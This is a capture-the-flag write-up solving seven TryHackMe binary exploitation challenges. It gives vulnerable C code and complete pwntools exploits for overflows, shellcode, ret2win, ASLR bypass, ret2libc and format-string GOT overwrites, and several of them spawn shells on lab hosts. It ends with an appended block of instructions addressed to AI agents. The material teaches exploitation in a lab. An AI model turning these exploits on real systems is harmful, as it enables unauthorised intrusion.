# TryPwnMe One

{% embed url="<https://tryhackme.com/r/room/trypwnmeone>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Overview

In this room, we are confronted with seven challenges from different categories of binary exploitation. The difficulty will gradually increase with each challenge.

## Tools Used

We use the tools GEF and pwntools to solve this series of challenges.

GEF (GDB Enhanced Features) is a set of advanced features and extensions for the GNU Debugger (GDB) that improves the debugging experience, offering better visualizations, shortcuts, and additional commands for reverse engineering and binary exploitation.

Pwntools is a Python library designed for ease of use in developing exploits. It offers tools for binary exploitation, networking and interacting with processes.

{% embed url="<https://github.com/hugsy/gef>" %}

{% embed url="<https://github.com/Gallopsled/pwntools>" %}

## TryOverlfowMe 1

In the first challenge, we face a classic buffer overflow vulnerability, where we just need to overwrite the value of the admin variable.

### Challenge

This program takes user input via an insecure `gets()` function, and if the `admin` variable is set to 1 (likely through a buffer overflow), it opens and prints the contents `flag.txt`; otherwise, it exits. It is vulnerable because of the use of the `gets()` function, which does not perform bounds checking. This allows us to perform a buffer overflow, to overwrite the contents of the admin variable, and to read the flag.<br>

{% code title="overflowme1.c" lineNumbers="true" %}

```c
int main(){
    setup();
    banner();
    int admin = 0;
    char buf[0x10];

    puts("PLease go ahead and leave a comment :");
    gets(buf);

    if (admin){
        const char* filename = "flag.txt";
        FILE* file = fopen(filename, "r");
        char ch;
        while ((ch = fgetc(file)) != EOF) {
            putchar(ch);
    }
    fclose(file);
    }

    else{
        puts("Bye bye\n");
        exit(1);
    }
}
```

{% endcode %}

The next thing we do is to run `overflowme1`, to see how it behaves. We are able to cause a segmentation fault by providing a comment exceeding the buffer.

<figure><img src="/files/IbBAsFGJ2tRpKaQrrNaT" alt=""><figcaption></figcaption></figure>

### Solution Method

With the following script using Pwntools we are able to connect to the target challenge machine. It crafts a payload with 16 bytes of padding followed by 32 repetitions of the value `1`, aiming to overwrite the `admin` variable. Finally, it sends the payload and enters interactive mode to receive any output from the server.

{% code title="pwn1.py" lineNumbers="true" %}

```python
from pwn import *

# Target IP and port
target_ip = '10.10.23.250'
target_port = 9003

# Connect to the remote server
p = remote(target_ip, target_port)

# Craft the payload
padding = b'A' * 16   # 16 bytes to fill the buffer
admin_value = p32(1) * 32  

payload = padding + admin_value 

# Send the payload
p.sendline(payload)

# Interact with the program to see the result (e.g., flag output)
p.interactive()
```

{% endcode %}

After we execute our script, we receive the flag for the first challenge.

<figure><img src="/files/chZl7yjSxhmaXLuwG5I9" alt=""><figcaption></figcaption></figure>

## TryOverflowMe 2

In the second challenge, we also face a classic buffer overflow vulnerability, where we just need to overwrite the value of the admin variable, but this time with a specific value.

### Challenge

Like in the challenge, before, the program takes user input, it checks if a specific value is set in the admin variable, and if so, it reads and prints the content of `flag.txt`; otherwise, it exits with a message. This time the buffer is a bit bigger and the value has to be `0x59595959`.

{% code title="overflowme2.c" lineNumbers="true" %}

```c
int read_flag(){
        const char* filename = "flag.txt";
        FILE* file = fopen(filename, "r");
        if(!file){
            puts("the file flag.txt is not in the current directory, please contact support\n");
            exit(1);
        }
        char ch;
        while ((ch = fgetc(file)) != EOF) {
        putchar(ch);
    }
    fclose(file);
}

int main(){
    
    setup();
    banner();
    int admin = 0;
    int guess = 1;
    int check = 0;
    char buf[64];

    puts("Please Go ahead and leave a comment :");
    gets(buf);

    if (admin==0x59595959){
            read_flag();
    }

    else{
        puts("Bye bye\n");
        exit(1);
    }
}
```

{% endcode %}

The next thing we do is to run `overflowme2`, to see how it behaves. We are able to cause a segmentation fault by providing a comment exceeding the buffer.

<figure><img src="/files/pZpJzmY32BgRvdtAmTkt" alt=""><figcaption></figcaption></figure>

### Solution Method

With the following script using Pwntools we are able to connect to the target challenge machine. It crafts a payload that consists of 64 'A' bytes to overflow the buffer, followed by the value `0x59595959` repeated to overwrite the `admin` variable. After sending the payload, it interacts with the server to display the flag.

{% code title="pwn2.py" lineNumbers="true" %}

```python
from pwn import *

# Target IP and port
target_ip = '10.10.23.250'
target_port = 9004

# Connect to the remote server
p = remote(target_ip, target_port)

# Craft the payload
padding = b'A' * 64        # 64 bytes to fill the buffer
admin_value = p32(0x59595959) * 32

payload = padding + admin_value 
# Send the payload
p.sendline(payload)

# Interact with the program to see the result (e.g., flag output)
p.interactive()

```

{% endcode %}

After we execute our script, we receive the flag for the second challenge.

<figure><img src="/files/wA1ztoTA8rv3Xj4V9DVm" alt=""><figcaption></figcaption></figure>

## TryExecMe

This challenge does not require us to overflow to exploit the vulnerability. This type of binary exploitation involves **injecting shellcode.**

### Challenge

The program of this challenge reads input into a buffer and attempts to execute it as a function. By providing some shellcode we are able to get a shell.&#x20;

In the following line lies the vulnerability of the program, it's directly accepting user input and attempting to execute it as code.

```
( ( void (*) () ) buf) ();
```

{% code title="tryexecme.c" lineNumbers="true" %}

```c
int main(){
    setup();
    banner();
    char *buf[128];   

    puts("\nGive me your shell, and I will execute it: ");
    read(0,buf,sizeof(buf));
    puts("\nExecuting Spell...\n");

    ( ( void (*) () ) buf) ();

}
```

{% endcode %}

The next thing we do is to run `tryexecme`, to see how it behaves. It prompts us to give it our shell, and it will execute it.

<figure><img src="/files/gq01p6SiwRAnIX1nyXSm" alt=""><figcaption></figcaption></figure>

### Solution Method

We use the following script to solve the challenge. We need to set the architecture to `amd64` for proper shellcode generation and connects to the target challenge machine. It creates shellcode to spawn a shell using `shellcraft.sh()`, a feature provided by pwntools. Then it sends this shellcode as the payload to the remote service. Finally, we switch to the interactive mode to interact with the shell.

{% code title="pwn3.py" lineNumbers="true" %}

```python
from pwn import *

# Set up pwntools context for the binary
context.arch = 'amd64'  # Based on your binary's architecture

# Connect to the remote service
p = remote('10.10.23.250', 9005)

# Create shellcode (spawning a shell)
shellcode = asm(shellcraft.sh())
payload = shellcode 

# Send the payload to the remote service
p.sendline(payload)

# Interact with the shell
p.interactive()
```

{% endcode %}

After we execute our script, we receive a shell on the target machine and are able to read the flag of the third challenge.

<figure><img src="/files/8weIS0WlncS3RJlEOP70" alt=""><figcaption></figcaption></figure>

## TryRetMe

In the fourth challenge, we face a **ret2win** vulnerability. A **ret2win** is a binary where there is a `win()` function (or equivalent) which we want to redirect execution there.<br>

### Challenge

The program prompts the user with "Return to where?" and reads up to 512 bytes of input. After reading the input, it prints "ok, let's go!" and ends. The win() function is defined but not called in the normal execution flow. The `win()` function in the program, if called, would execute the `/bin/sh` command, spawning a shell. However, this function is not invoked.

{% code title="tryretme.c" lineNumbers="true" %}

```c
int win(){

    system("/bin/sh");
}

void vuln(){
    char *buf[0x20];
    puts("Return to where? : ");
    read(0, buf, 0x200);
    puts("\nok, let's go!\n");
}

int main(){
    setup();
    vuln();
}
```

{% endcode %}

The next thing we do is to run `tryretme`, to see how it behaves.

<figure><img src="/files/QoRT76TMJ98sKiMRrQsO" alt=""><figcaption></figcaption></figure>

### Solution Method

We use the following article by ir0nstone to help us:&#x20;

{% embed url="<https://ir0nstone.gitbook.io/notes/binexp/stack/ret2win>" %}

Ir0nstone presents numerous binary exploitation methods in his series of articles. It is a very valuable resource, which I recommend to everyone when it comes to binary exploitation.

As mentioned in the introduction, this is a **ret2win** vulnerability. Our aim is now to write the address of the `win()` function to the `$rsp` register using a buffer overflow in order to execute it. Since the system call `system("/bin/sh");` is executed in this function, we thus obtain a shell.

The `$rsp` register holds the return address of the current function, which can be overwritten during a buffer overflow to redirect execution to the desired function, such as `win()`. By controlling `$rsp`, we can manipulate the program's execution flow and trigger the `win()` function to spawn a shell.

For this, we need to know the offset from when we reach the `$rsp` register, as well as the address of the `win()` function.

First of all, we determine the offset.

We use GEF for this. We debug the program `tryretme` using gdb. Before we execute it in gdb, we create a cyclic pattern. With an overflow, we can determine in which register what was written, or how far the offset is to a certain register.

<figure><img src="/files/qdZUKknyfpAoAK6pjhoo" alt=""><figcaption></figcaption></figure>

After generation, we run the program using run and paste the cyclic pattern as input. Since it has a length of over 512 bytes, we cause an overflow.

<figure><img src="/files/zsZMWwj62IHaG8rJkcb4" alt=""><figcaption></figcaption></figure>

Next, we search for the `$rsp` register using the pattern and determine an offset of `264` using GEF. This means that we are in the `$rsp` register after `264` characters. We would then only have to write the address of the `win()` function in this register. We can do all this quite easily using pwntools.

<figure><img src="/files/QHH2hIlILhjTK3uYckDu" alt=""><figcaption></figcaption></figure>

The following pwntools script is then used to exploit the buffer overflow vulnerability by sending a crafted payload to trigger the `win()` function. The payload includes a buffer overflow to reach the return address, a `ret` gadget to fix stack alignment, and the address of the `win()` function to spawn a shell. After sending the payload to the remote server, the script opens an interactive session to interact with the shell.

The following line finds the address of a `ret` instruction inside the binary, which will ensure stack alignment is correct when returning to the `win()` function. Addressing the mention issued in the challenge instruction.

> Addressing the issue of The challenges in this room are running Ubuntu, so there will be stack alignment issues. Make sure to add a ret gadget to solve it if needed.

```
ret_gadget = ROP(elf).find_gadget(['ret'])[0]:
```

The `ret` gadget is added to the payload right before the `win()` function's address. This ensures the program can "return" to the correct location and avoid crashing due to misalignment when switching control flow to the `win()` function.

```
payload += p64(ret_gadget):
```

This extracts the address of the `win()` function from the binary's symbol table.

```
win_addr = elf.symbols['win']:
```

{% code title="pwn4.py" lineNumbers="true" %}

```python
from pwn import *

# Set the binary context
elf = context.binary = ELF('./tryretme')  # Replace with the actual binary name

# Connect to the remote server
p = remote('10.10.23.250', 9006)

# Address of the win function
win_addr = elf.symbols['win']

# Address of a `ret` gadget (you can find this with tools like ROPgadget or Pwntools)
# This gadget is simply one instruction: `ret`, which fixes stack alignment.
ret_gadget = ROP(elf).find_gadget(['ret'])[0]

# Offset (determined from cyclic_find)
offset = 264

# Payload: buffer + ret gadget + return address (win function)
payload = b'A' * offset
payload += p64(ret_gadget)  # Add the ret gadget to fix alignment
payload += p64(win_addr)

# Send the payload
p.sendlineafter('Return to where? : ', payload)

# Interact with the shell
p.interactive()
```

{% endcode %}

After we execute our script, we receive a shell on the target machine and are able to read the flag of the fourth challenge.

<figure><img src="/files/QyRNwpxLlllODuxo8aSm" alt=""><figcaption></figcaption></figure>

## Random Memories

This is a continuation of the ret2win vulnerability from before. However, this time we are probably dealing with ALSR. We again have a `win()` function whose address we want to overwrite in `$rsp`.

### Challenge

The program displays the address of the `vuln()` function, then prompts the user for input, reading up to 0x200 (512) bytes into a buffer that is only 0x20 (32) bytes in size, leading to a potential buffer overflow vulnerability. The win function is not directly called.

Address Space Layout Randomization (ASLR) is a security technique that randomizes the memory addresses used by system and application processes, making it more difficult for attackers to predict the location of critical functions or exploit vulnerabilities like buffer overflows. By changing the memory layout on each program execution, ASLR increases the complexity of crafting reliable exploits.

This mechanism can be circumvented if we get leaked addresses, and we can determine the relative offset to the base from this leak.

{% code title="random.c" lineNumbers="true" %}

```c
int win(){
    system("/bin/sh\0");
}

void vuln(){
    char *buf[0x20];
    printf("I can give you a secret %llx\n", &vuln);
    puts("Where are we going? : ");
    read(0, buf, 0x200);
    puts("\nok, let's go!\n");
}

int main(){
    setup();
    banner();
    vuln();
}
```

{% endcode %}

The next thing we do is to run `random`, to see how it behaves. It gives us a secret, the address of the `vuln()` function.

<figure><img src="/files/fanhFkFH8c7jbUWvMoFI" alt=""><figcaption></figcaption></figure>

### Solution Method

We use the following article by ir0nstone to help us:&#x20;

{% embed url="<https://ir0nstone.gitbook.io/notes/binexp/stack/aslr/aslr-bypass-with-given-leak>" %}

For this, we need to know the offset from when we reach the `$rsp` register, as well as the address of the `win()` function. For a detailed explanation of this, see the TryReMe Challenge solution:

{% embed url="<https://0xb0b.gitbook.io/writeups/tryhackme/2024/trypwnme-one#solution-method-3>" %}

Furthermore, we also need the offset of the functions that we know and that we want to utilize.

We first determine the offset again to reach the `$rsp` register during overflow. We run the application in gdb, create a sufficient size cyclic pattern, and run the application.

<figure><img src="/files/2GO7zJssTju5Xi41gxKc" alt=""><figcaption></figcaption></figure>

We pass the pattern.

<figure><img src="/files/YIbiRIsUWdji1JMewHYw" alt=""><figcaption></figcaption></figure>

And determine the offset to the `$rsp` register, which is also `264`.

<figure><img src="/files/qVtgAlmgcZOl7S3lqP6S" alt=""><figcaption></figcaption></figure>

Next, we determine the offset of the vuln and win functions. We can do this simply by using `objdump`. This will disassemble us the binary and search for any lines containing `vuln` in the disassembly output.

```bash
objdump -d ./random | grep vuln
objdump -d ./random | grep win
```

<figure><img src="/files/Tk8Xyl2eOgWyXA6AGfXl" alt=""><figcaption></figcaption></figure>

Unlike before, we cannot use the symbol table to get the address of the win function. Instead, we calculate the base address using vuln - offset vuln. And add the offset of the win function to the base address to get the actual address of the win function used at runtime. Otherwise, everything is quite similar to the previous challenge.

The *base address* in a binary is the starting memory address where the binary's code is loaded into memory during execution. In position-independent executables, the actual memory address of functions and data is calculated relative to this base address. By knowing the base address, offsets of functions or gadgets (like `vuln` or `win`) from the start of the binary can be used to compute their actual addresses in memory, allowing exploitation or interaction with the binary at runtime.

With our pwntools script, we'll leak the address of the `vuln` function, calculates the base address of the binary, and determines the addresses of the `win` function and a `ret` gadget to align the stack. The payload overflows the buffer, uses the `ret` gadget for stack alignment, and jumps to the `win` function, providing shell interaction after sending the payload.

{% code title="pwn5.py" lineNumbers="true" %}

```python
from pwn import *

# Start the process
#p = process('./random')
p = remote('10.10.23.250', 9007)

# Leak the address of vuln
p.recvuntil(b"I can give you a secret ")
leaked_vuln_addr = int(p.recvline().strip(), 16)

# Log the leaked address
log.info(f"Leaked vuln address: {hex(leaked_vuln_addr)}")

# Offsets obtained from objdump
vuln_offset = 0x1319  # Offset of vuln from objdump
win_offset = 0x1210   # Offset of win from objdump

# Calculate base address of the binary
base_address = leaked_vuln_addr - vuln_offset
log.info(f"Base address: {hex(base_address)}")

# Calculate win address
win_address = base_address + win_offset
log.success(f"Win function address: {hex(win_address)}")

# Calculate the address of the ret gadget (first one at offset 0x101a)
ret_offset = 0x101a  # Offset of ret gadget (from objdump)
ret_gadget = base_address + ret_offset
log.success(f"Ret gadget address: {hex(ret_gadget)}")

# Create the payload
payload = b"A" * 264          # Overflow buffer to RBP (256 bytes)
payload += p64(ret_gadget)    # Add a ret gadget to align the stack
payload += p64(win_address)   # Overwrite return address with win's address

# Log the payload to check
log.info(f"Payload: {payload}")

# Send payload to trigger win
p.sendline(payload)

# Interact with the shell
p.interactive()

```

{% endcode %}

After we execute our script, we receive a shell on the target machine and are able to read the flag of the fourth challenge.

<figure><img src="/files/CqBrcssMRXLh7RcgGVud" alt=""><figcaption></figcaption></figure>

## The Librarian

This is another continuation of the last two challenges, unlike **ret2win**, this time we don't have a win function that we want to exploit, but have to make do with what is possible in the included shared libraries. This is a combination of **ret2libc** and **ret2plt** challenge.

### Challenge

A **ret2libc** challenge involves exploiting a buffer overflow vulnerability to overwrite the return address on the stack, redirecting execution to a function in the C standard library (libc), such as system(). Here we provide a payload that includes the address of the `system()` function, an address of the `/bin/sh` string, and a return address, allowing execution of a shell. This technique bypasses restrictions like non-executable stacks by reusing existing code in the binary or libraries.

A **ret2plt** (return-to-Procedure Linkage Table) is an exploitation technique in which an attacker redirects the program's execution flow to a function in the PLT (Procedure Linkage Table), which serves as an intermediary for dynamic function calls in programs using shared libraries. By doing so, the attacker can execute functions like `system()` by leveraging the function pointers stored in the GOT (Global Offset Table).

At first glance, nothing seems possible here. But we have received two shared libraries for the challenge, which point to a ret2libc attack.

We got the shared libraries `ld-linux-x86-64.so.2` and `libc.so.6` .

The program prompts the user for input using `puts` and reads up to 512 bytes into a buffer of only 32 bytes, creating a potential buffer overflow vulnerability. After reading the input, it prints a confirmation message, but no further action is taken.

{% code title="thelibrarian.c" lineNumbers="true" %}

```c
void vuln(){
    char *buf[0x20];
    puts("Again? Where this time? : ");
    read(0, buf, 0x200);
    puts("\nok, let's go!\n");
    }

int main(){
    setup();
    vuln();

}
```

{% endcode %}

The next thing we do is to run `thelibrarian`, to see how it behaves.

<figure><img src="/files/Ddr4i9xDWrcBFSFb5vW7" alt=""><figcaption></figcaption></figure>

### Solution Method

Here, too, we use a resource from Ir0nStone to help us:&#x20;

{% embed url="<https://ir0nstone.gitbook.io/notes/binexp/stack/aslr/plt_and_got>" %}

Only this time we don't have a leak of the base address, we have to find it ourselves. We make use of PLT and GOT to leak those addresses needed.

The PLT (Procedure Linkage Table) and GOT (Global Offset Table) are sections in an ELF file that handle dynamic linking, allowing the binary to rely on external system libraries for functions like "puts." This keeps the binary smaller and makes it easier to update system libraries without needing to change the binary itself.&#x20;

> * Calling the PLT address of a function is equivalent to calling the function itself
> * The GOT address contains addresses of functions in `libc`, and the GOT is within the binary.

I used the following sources for the solution, including my first writeup, for the Obscure challenge.&#x20;

There we had the special case that we had no access to the libc and therefore determined the offsets to the libc at runtime by means of address leaks. However, the tool used for this <https://libc.blukat.me/> is currently not available.

{% embed url="<https://0xb0b.gitbook.io/writeups/tryhackme/obscure#exploit-remotely>" %}

Aquinas had used the library directly in his solution approach of obscure at that time, as we do here, and had the influence for me to be able to solve this with his solution.

{% embed url="<https://github.com/ChrisPritchard/ctf-writeups/blob/master/tryhackme-rooms/obscured.md>" %}

Also, a shoutout to Jaxafed, who helped me with a sanity check. Don't miss his awesome content at <https://jaxafed.github.io/>.

I have listed further helpful sources and additional resources below:

{% embed url="<https://networkintelligence.ai/exploiting-buffer-overflow-using-return-to-libc/>" %}

{% embed url="<https://tryhackme.com/r/room/ret2libc>" %}

{% embed url="<https://www.youtube.com/watch?v=TTCz3kMutSs>" %}

As before, we determine the offset to the `$rsp` register. Then we determine the offsets within the libc, similar to the previous challenge, only this time we look at the shared library.

We use **ret2plt** first stage to leak the address of `puts` by calling it via the Procedure Linkage Table (PLT). The PLT entry for `puts` calls the real function and allows you to leak its actual address from the Global Offset Table (GOT).

Then, we use **ret2libc** with the calculated base address of libc using the leaked `puts` address we call `system("/bin/sh")` from libc, exploiting the known offsets.

We run the application in gdb, create a sufficient size cyclic pattern, and run the application.

<figure><img src="/files/kzXqR7sGENfQuBRPqfU9" alt=""><figcaption></figcaption></figure>

We pass the pattern.

<figure><img src="/files/dXwBrB3VGHYswXHNFg3M" alt=""><figcaption></figcaption></figure>

And determine the offset to the `$rsp` register, which is also `264`.

<figure><img src="/files/0RYl1zEhYxgyPuGi3bzZ" alt=""><figcaption></figcaption></figure>

With the following script, we have the first half of our exploit, leaking the addresses.

{% code title="test.py" lineNumbers="true" %}

```python
from pwn import * 
binary_file = './thelibrarian'
libc = ELF('./libc.so.6')

# Connect to remote target
p = remote('10.10.23.250', 9008)
#p = process(binary_file)

context.binary = binary = ELF(binary_file, checksec=False)
rop = ROP(binary)

padding = b"A" * 264
payload = padding
payload += p64(rop.find_gadget(['ret'])[0])
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(binary.got.puts)
payload += p64(binary.plt.puts)
payload += p64(binary.symbols.main)

p.recvuntil(b"Again? Where this time? : \n")
p.sendline(payload)
p.recvuntil(b"ok, let's go!\n\n")
leak = u64(p.recvline().strip().ljust(8, b'\0'))
log.info(f'Puts leak => {hex(leak)}')

# Calculate libc base
libc.address = leak - libc.symbols.puts
log.info(f'Libc base => {hex(libc.address)}')

```

{% endcode %}

So, what is happening here?

```
padding = b"A" * 264
payload = padding
payload += p64(rop.find_gadget(['ret'])[0])
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(binary.got.puts)
payload += p64(binary.plt.puts)
payload += p64(binary.symbols.main
```

* **Padding (`b"A" * 264`)**:
  * This creates a buffer of 264 "A" characters, which is used to fill up the space up to the return address on the stack. This value (264) is likely determined by the size of the buffer in the binary and the offset needed to overwrite the return address.
* **Adding a `ret` gadget (`payload += p64(rop.find_gadget(['ret'])[0])`)**:
  * The `ret` gadget is used here to align the stack. Since some systems (like Ubuntu) require stack alignment to 16 bytes, the addition of a `ret` gadget ensures that the stack is aligned properly before executing the next gadgets. This is often used to bypass issues like stack misalignment that would otherwise cause the program to crash.
* **Adding a `pop rdi` gadget (`payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])`)**:
  * This ROP gadget pops a value off the stack into the `rdi` register, which is the first argument to a function in the System. This prepares the `rdi` register to hold the argument that will be passed to a function, which in this case is the address of `binary.got.puts`.
* **Loading the address of `puts@got` (`payload += p64(binary.got.puts)`)**:
  * The address of the `puts` entry in the Global Offset Table (GOT) is loaded into the `rdi` register. The GOT holds the addresses of dynamically linked functions, and this allows to print the actual address of `puts` during runtime (which will help in later stages to leak memory addresses for bypassing ASLR).
* **Calling `puts@plt` (`payload += p64(binary.plt.puts)`)**:
  * The address of `puts` in the Procedure Linkage Table (PLT) is added to the payload. This makes the program call `puts`, which will print the value in `rdi` (which, as set earlier, is the address of `puts` in the GOT). This effectively leaks the runtime address of `puts`.
* **Returning to `main` (`payload += p64(binary.symbols.main)`)**:
  * After the `puts` call, the program will return to the `main` function, allowing the program to restart. This is common in ROP attacks to give the attacker another chance to send a new payload, using the leaked address of `puts` to calculate the base address of the libc library and eventually execute a system call.

{% code title="test.py" lineNumbers="true" %}

```python
from pwn import *  # Import pwntools for exploitation
binary_file = './thelibrarian'  # Path to the binary you're exploiting
libc = ELF('./libc.so.6')  # Load the libc binary for symbols

# Connect to remote target at given IP and port
p = remote('10.10.23.250', 9008)

# Load the binary and disable security checks (for simplified ROP search)
context.binary = binary = ELF(binary_file, checksec=False)

# Create a ROP object to find useful gadgets
rop = ROP(binary)

# Offset to control the return address (padding found through fuzzing/crashing)
padding = b"A" * 264

# Start building the payload
payload = padding  # Buffer overflow up to return address

# Add a 'ret' gadget to align the stack (needed for some systems like Ubuntu)
payload += p64(rop.find_gadget(['ret'])[0])

# Add a 'pop rdi; ret' gadget to control RDI (first argument to functions)
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])

# Pass the GOT entry of 'puts' as the argument to puts (to leak its address)
payload += p64(binary.got.puts)

# Call the 'puts' function in the PLT to print the address of 'puts' from the GOT
payload += p64(binary.plt.puts)

# Return to the main function to reset the binary for further exploitation
payload += p64(binary.symbols.main)

# Send the payload after receiving the initial prompt
p.recvuntil(b"Again? Where this time? : \n")
p.sendline(payload)

# Wait for the output from 'puts' (the leaked address of puts in libc)
p.recvuntil(b"ok, let's go!\n\n")

# Read the leaked puts address, pad it to 8 bytes (64-bit address)
leak = u64(p.recvline().strip().ljust(8, b'\0'))
log.info(f'Puts leak => {hex(leak)}')  # Log the leaked address for debugging

# Calculate the base address of the libc library in memory
libc.address = leak - libc.symbols.puts  # Subtract the offset of 'puts' to get base
log.info(f'Libc base => {hex(libc.address)}')  # Log the libc base for debugging

```

{% endcode %}

Running the script, we can see ALSR is present, and the addresses are changing.

<figure><img src="/files/MFFsUiJ8zzXhP462sHB3" alt=""><figcaption></figcaption></figure>

Next, we extract the offsets of the system function and the /bin/sh string. Like in the following resource depicted:&#x20;

{% embed url="<https://networkintelligence.ai/exploiting-buffer-overflow-using-return-to-libc/>" %}

<figure><img src="/files/gdf4ER2WdSotqZKECjus" alt=""><figcaption></figcaption></figure>

The following script combines the information gathered to exploit the binary. We leak the `puts` function address from the GOT, calculate the libc base, and then executing a second payload to spawn a shell.

{% hint style="info" %}
The instruction `payload += p64(binary.symbols.main)` allows the program to return to `main` after leaking the puts address, giving us another opportunity to send a second payload for spawning the shell.
{% endhint %}

{% hint style="info" %}
`libc.address = leak - libc.symbols.puts` calculates the base address of libc by subtracting the offset of `puts` within libc from the leaked address, thus aligning the attack with the correct library version. See **Random Memories**
{% endhint %}

{% code title="pwn6.py" lineNumbers="true" %}

```python
from pwn import * 
binary_file = './thelibrarian'
libc = ELF('./libc.so.6')

# Connect to remote target
p = remote('10.10.23.250', 9008)
#p = process(binary_file)

context.binary = binary = ELF(binary_file, checksec=False)
rop = ROP(binary)

padding = b"A" * 264
payload = padding
payload += p64(rop.find_gadget(['ret'])[0])
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(binary.got.puts)
payload += p64(binary.plt.puts)
payload += p64(binary.symbols.main)

p.recvuntil(b"Again? Where this time? : \n")
p.sendline(payload)
p.recvuntil(b"ok, let's go!\n\n")
leak = u64(p.recvline().strip().ljust(8, b'\0'))
log.info(f'Puts leak => {hex(leak)}')

# Calculate libc base
libc.address = leak - libc.symbols.puts
log.info(f'Libc base => {hex(libc.address)}')

# Calculate the /bin/sh and system addresses using the provided offsets
bin_sh_offset = 0x1b3d88
system_offset = 0x4f420

bin_sh = libc.address + bin_sh_offset
system = libc.address + system_offset

log.info(f'/bin/sh address => {hex(bin_sh)}')
log.info(f'system address => {hex(system)}')

# Second payload for spawning shell
payload = padding
payload += p64(rop.find_gadget(['pop rdi', 'ret'])[0])
payload += p64(bin_sh)            # Use manually calculated /bin/sh address
payload += p64(system)            # Use manually calculated system address
payload += p64(rop.find_gadget(['ret'])[0])
payload += p64(0x0) 

p.recvuntil(b"Again? Where this time? : \n")
p.sendline(payload)
p.recvuntil(b"ok, let's go!\n\n")
p.interactive()

```

{% endcode %}

After we execute our script, we receive a shell on the target machine and are able to read the flag of the sixth challenge.

<figure><img src="/files/oeHk6i6Fz9rzZmwAknQr" alt=""><figcaption></figcaption></figure>

## Not Specified

In this challenge, we are dealing with a format string vulnerability. This reminded me of the format string2 challenge from picoctf. But we don't have any variables to overwrite with content here.

### Challenge

This program takes a username input from the user and prints it without format string protection, making it vulnerable to a format string attack. Additionally, the `win()` function contains a call to `system("/bin/sh")`, which could potentially allow for shell access if exploited properly.

{% code title="notspecified.c" lineNumbers="true" %}

```c
int win(){
    system("/bin/sh\0");
}

int main(){
    setup();
    banner();
    char *username[32];
    puts("Please provide your username\n");
    read(0,username,sizeof(username));
    puts("Thanks! ");
    printf(username);
    puts("\nbye\n");
    exit(1);    
}
```

{% endcode %}

The next thing we do is to run `notspecified`, to see how it behaves. After entering a username, it gets printed.

<figure><img src="/files/ybJoo0EgOHKyNFogh1ut" alt=""><figcaption></figcaption></figure>

### Solution Method

We use the following two resources for assistance:

{% embed url="<https://ir0nstone.gitbook.io/notes/binexp/stack/format-string>" %}

{% embed url="<https://github.com/Cajac/picoCTF-Writeups/blob/main/picoCTF_2024/Binary_Exploitation/format_string_2.md>" %}

Referring to the source code, `printf(username)` allows a user to provide format specifiers in the input (such as `%s`, `%x`, `%n`), which could lead to arbitrary memory reads or writes. Let's see if we can leak the stack. I find the following payload to be useful to format the output of the leak.

```bash
python -c "print('ABCDEFGH|' + '|'.join(['%d:%%p' % i for i in range(1,40)]))" | ./notspecified | grep 4847
```

<figure><img src="/files/GVPXKZWhgkzDc0flQ4U9" alt=""><figcaption></figcaption></figure>

We see, in sixth place, the content of our input.&#x20;

What can we do with it now?

Well, since we can not only read but also write, we could theoretically replace the address of a subsequent function in the stack with the address of the win function.

This can be quite unpleasant and time-consuming with regard to the note in the challenge: `The challenges in this room are running Ubuntu, so there will be stack alignment issues. Make sure to add a ret gadget to solve it if needed.` How this is done manually can be seen in the writeup of cajac:&#x20;

<https://github.com/Cajac/picoCTF-Writeups/blob/main/picoCTF_2024/Binary_Exploitation/format_string_2.md>&#x20;

<figure><img src="/files/b1PrIJRiEDDPrTOSLfyX" alt=""><figcaption></figcaption></figure>

We can make use of the `fmtstr_payload` function of pwntools. But it is important to set the architecture and endianess first.&#x20;

With the following script, we abuse the format string vulnerability to get a shell. It overwrites the GOT entry for the `exit` function with the address of the `win` function, so when the program tries to call `exit`, it instead executes the `win` function. It generates a payload using `fmtstr_payload`, which specifies the overwrite.

In a format string vulnerability, we need to know where on the stack our input is, so we can use it to modify memory in a controlled way. In this case, index 6 is where the format string begins, so we would pass 6 as the offset to functions like `fmtstr_payload` in pwntools, allowing it to know where to inject the payload.

{% code title="pwn7.py" lineNumbers="true" %}

```python
from pwnlib.fmtstr import FmtStr, fmtstr_split, fmtstr_payload
from pwn import *
context.clear(arch = 'amd64', endian ='little')
def send_payload(payload):
        s.recvline()
        s.sendline(payload)
        r = s.recvline()
        return r

elf = ELF('./notspecified')
exit_got = elf.got['exit']
win_func = elf.symbols['win']
#s = process('./notspecified')
s = remote('10.10.23.250', 9009)

payload = fmtstr_payload(6, {exit_got: win_func})
print(payload)
print(send_payload(payload))
s.interactive()

```

{% endcode %}

{% hint style="info" %}
Don't miss out on Jaxafed's approach, with a manual approach. There you can see the magic happen behind `fmtstr_payload`.&#x20;

<https://jaxafed.github.io/posts/tryhackme-trypwnme_one/#creating-the-payload-manually>
{% endhint %}

After we execute our script, we receive a shell on the target machine and are able to read the flag of the seventh challenge.

<figure><img src="/files/G4t7xtqHp7uaCeZMcJFg" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/2024/trypwnme-one.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
